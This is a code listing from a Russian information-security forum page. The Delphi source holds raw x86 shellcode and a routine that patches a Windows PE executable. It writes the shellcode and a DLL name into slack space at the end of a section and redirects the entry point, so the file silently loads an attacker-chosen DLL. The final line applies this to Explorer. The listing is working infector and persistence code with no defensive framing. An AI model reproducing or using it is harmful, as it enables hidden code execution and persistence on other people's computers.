ANTICHAT — форум по информационной безопасности, OSINT и технологиям

var
 data: array[0..92] of byte = (
	$68, $44, $33, $22, $11, $60, $9C, $E8, $00, $00, $00, $00, $5D, $83, $ED, $0C,
	$83, $C5, $5D, $64, $A1, $30, $00, $00, $00, $8B, $40, $0C, $8B, $70, $1C, $AD,
	$8B, $40, $08, $55, $89, $C3, $03, $40, $3C, $8B, $50, $78, $01, $DA, $8B, $4A,
	$18, $8B, $7A, $20, $01, $DF, $89, $DE, $03, $74, $8F, $FC, $81, $7E, $08, $61,
	$72, $79, $41, $75, $08, $81, $3E, $4C, $6F, $61, $64, $74, $06, $E2, $E7, $31,
	$C0, $EB, $05, $93, $03, $44, $8A, $24, $FF, $D0, $9D, $61, $C3);

procedure CopyMemory(Destination: Pointer; Source: Pointer; Length: DWORD);
begin
  Move(Source^, Destination^, Length);
end;

Procedure SetDword(buf:pointer; offs:dword; d:dword);assembler;
asm
 mov [eax+edx],ecx
end;


procedure Patch(dllname:string; filename:string);
type
TSectionTable=record // структура таблица секции
  Object_Name:array[1..8] of char;
  Virtual_Size:dword;
  Section_RVA:dword;
  Physical_Size:dword;
  Physical_Offset:dword;
  Reserved:array[1..12] of byte;
  Object_Flags:dword;
 end;
PSectionTable=^TSectionTable;
TARRAY=array[0..255] of byte;
PARRAY=^TARRAY;
var
 h:thandle;
 PE,EP,IB:dword; // PE Head / Entry Point / Image Base
 buf:PARRAY;
 x:integer;
 correct:boolean;
 PID:dword;
 d:dword;
 hMapping:dword;
 mapping:pointer;
 Sect:PSectionTable;
 windir:TARRAY;
begin
 dllname:=dllname+#0;
  h:=CreateFile(pansichar(filename), DWORD($80000000) or $40000000, $00000001 or $00000002, nil, 3, $00000080, 0);
 d:=GetFileSize(h, nil);
 hMapping:=CreateFileMapping(h, nil, 4, 0, d, nil);
 mapping:=MapViewOfFile(hMapping, 4 or 2, 0, 0, d);
 PE:=dword(pointer(dword(mapping)+$3C)^);
 EP:=dword(pointer(dword(mapping)+PE+$28)^);
 IB:=dword(pointer(dword(mapping)+PE+$34)^);
 SetDword(@data[0],1,EP+IB);
 Sect:=pointer(dword(mapping)+PE+248);
 buf:=pointer(dword(mapping)+Sect^.Physical_Offset+Sect^.Physical_Size-sizeof(data)-dword(length(dllname)));
 correct:=true;
 for x:=0 to sizeof(data)+length(dllname)-1 do if buf^[x]<>0 then correct:=false;
  if correct then
   begin
    EP:=Sect^.Section_RVA+Sect^.Physical_Size-sizeof(data)-dword(length(dllname));
    dword(pointer(dword(mapping)+PE+$28)^):=EP;
    CopyMemory(pointer(dword(mapping)+Sect^.Physical_Offset+Sect^.Physical_Size-sizeof(data)-dword(length(dllname))),@data,sizeof(data));
    CopyMemory(pointer(dword(mapping)+Sect^.Physical_Offset+Sect^.Physical_Size-dword(length(dllname))),@dllname[1],length(dllname));
   end else exit;
 UnmapViewOfFile(mapping);
 CloseHandle(hMapping);
 CloseHandle(h);
end;

begin
 if API_LOADED then PatchExplorer(install_dll_name);
end.